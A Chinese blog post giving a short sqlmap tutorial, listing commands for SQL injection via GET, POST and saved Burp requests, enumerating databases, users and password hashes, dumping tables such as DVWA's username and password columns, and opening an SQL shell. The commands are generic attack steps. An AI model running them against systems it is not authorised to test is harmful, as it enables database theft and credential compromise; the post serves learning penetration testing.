首页 > 数据库 >sqlmap简单使用

sqlmap简单使用

时间:2023-03-23 16:33:51浏览次数:38  
标签:sqlmap 简单 -- py python cookie url 使用

先安装python,再将sqlmap的解压文件复制到python根目录中
windows下 sqlmap主要命令
python sqlmap.py -h                //查看帮助信息
python sqlmap.py -u "url"            //get注入
python sqlmap.py -u "url" --data "表单数据"     //post注入,data直接复制bp里面的数据
python sqlmap.py -u "url" --cookie="session=123132;name1=234"    //修改请求cookie
python sqlmap.py -u "url" --dbs        //列出所有数据库名
python sqlmap.py -u "url" --users        //列用户
python sqlmap.py -u "url" --passwords        //
python sqlmap.py -u "url" --tables -D DB_NAME    //列DB_NAME的表
python sqlmap.py -u "url" --columns -T TB_NAME -D DB_NAME //读取TB_NAME中的列

--current-user检索DBMS当前用户
--current-db检索DBMS当前数据库
--hostname检索DBMS服务器主机名
--is-dba探测DBMS当前用户是不是DBA权限(最高权限)
-–users枚举DBMS用户 获得数据库的所有用户
--passwords枚举DBMS用户密码hashes值 获得数据库用户的密码的hashes值
-–privileges枚举DBMS用户权限 -可见root用户的权限最高,执行的操作最多。
-–roles枚举DBMS用户角色
--dbs枚举DBMS数据库 获得当前可用的数据库
--tables枚举DBMS所有数据库表 直接得到所有不同数据库下面的表
--columns枚举DBMS所有数据库表的列
–-schema枚举数据库模式 就是ID int()
--count检索表的项数目
--dump转出数据库表的映射表项目

-D 指定数据库
格式:
python sqlmap.py -u "url" --cookie "cookie数据" -D dvwa --tables
获得指定数据库所有表信息

-T指定表
格式:
python sqlmap.py -u "url" --cookie "cookie数据" -D dvwa -T users --columns
获得指定数据库和表中的所有列名字信息

-C指定列获得信息
格式:
python sqlmap.py -u "url" --cookie "cookie数据" -D dvwa -T users --dump
python sqlmap.py -u "url" --cookie "cookie数据" -D dvwa -T users -C username,password --dump
获得指定数据库指定表指定列名数据

-X枚举DBMS数据库列的时候排除某个列
格式:
python sqlmap.py -u "url" --cookie "cookie数据" -D dvwa -T users -X password --dump
除了password都出来了

--sql-query=QUERY执行sql语句
格式:
python sqlmap.py -u "url" --cookie "cookie数据" --sql-query="select * from users;"
执行了一个说起来查询语句,并且获得了信息。

--sql-shell提供一个交互式界面
python sqlmap.py -u "url" --cookie "cookie数据" --sql-shell


如果对懒得对命令行构造参数,可以通过将POST请求保存成文件,sqlmap支持从文件读取POST请求来进行注入测试。
文件方式对单个POST注入:
通过burp suite工具拦截到请求中将POST保存成文件
使用-r参数读取POST进行测试
sqlmap.py -r C:\Users\l00109379\Desktop\抽验\sqlmap\opr.txt -v 3
-r参数就是用于指定具体的待测试的文件。

 

标签:sqlmap,简单,--,py,python,cookie,url,使用
From: https://www.cnblogs.com/snad/p/17247956.html

相关文章

  • 【MATLAB】S-function使用及其它
    1什么是s-functionfunction[sys,x0,str,ts,simStateCompliance]=sfuntmpl(t,x,u,flag)%SFUNTMPLGeneralMATLABS-FunctionTemplate%WithMATLABS-functions,......
  • fastjson使用
    fastjson使用0、遇到的问题:1、基本API和配置1.0准备POJOUser和IdCard。可以参见代码部分准备测试数据:@BeforepublicvoidinitObjectAndList(){//设置user对......
  • Android 使用ListView只显示一条数据
    情况一:ListView外嵌套了ScrollView导致情况二:没有使用ScrollView解决:动态获取ListView的高度,并用代码设置。在adapter中setAdapter之后调用以下方法即可。 setListVi......
  • Cursor IDE 使用体验
    CursorIDE使用体验下载地址:点击下载图标UI功能Ctrl+K生成代码Ctrl+L聊天日常够用,深度测试没有进行;安全既然exe那就得检测一下咯~检测结果文章来源......
  • Qt Qt-Advanced-Docking-System介绍及使用教程
    一.概述1.控件描述QT自带的Dock布局管理大家都用过,中规中矩,但是满足不了现在ui强大的人机交互需求。而Qt-Advanced-Docking-System在Dock的基础上进一步完善功能,具有......
  • LRUCache具体使用
    LRUCache具体使用LRUCache是一种常见的缓存策略,通过最近最少使用的原则,在缓存满时考虑淘汰最近没有使用的数据。可以在Android中作为一个内存缓存工具使用,比如用于加载图......
  • java-策略模式的简单应用
    我以我在实际项目中的应用举例场景如下:MQTT收到消息之后,根据不同的标识(operator)去进行不同的处理1.新建接口MqttCallBackService<T> publicinterfaceMqttCallBackSe......
  • spring ldap 使用总结
    1.报错1.1 org.springframework.ldap.PartialResultException:UnprocessedContinuationReference(s);nestedexceptionisjavax.naming.PartialResultException:......
  • minio的使用
    minio介绍1.1.minio是什么?MinIO是一个基于ApacheLicensev2.0开源协议的对象存储服务。它兼容亚马逊S3云存储服务接口,非常适合于存储大容量非结构化的数据,例如图片、......
  • centos7 中使用 express 并启动项目
    因为之前window安装了express,所以采用,直接将express项目传到linux中 步骤如下:   Express工程环境准备npminstallexpress-gnpminstallexpress-generato......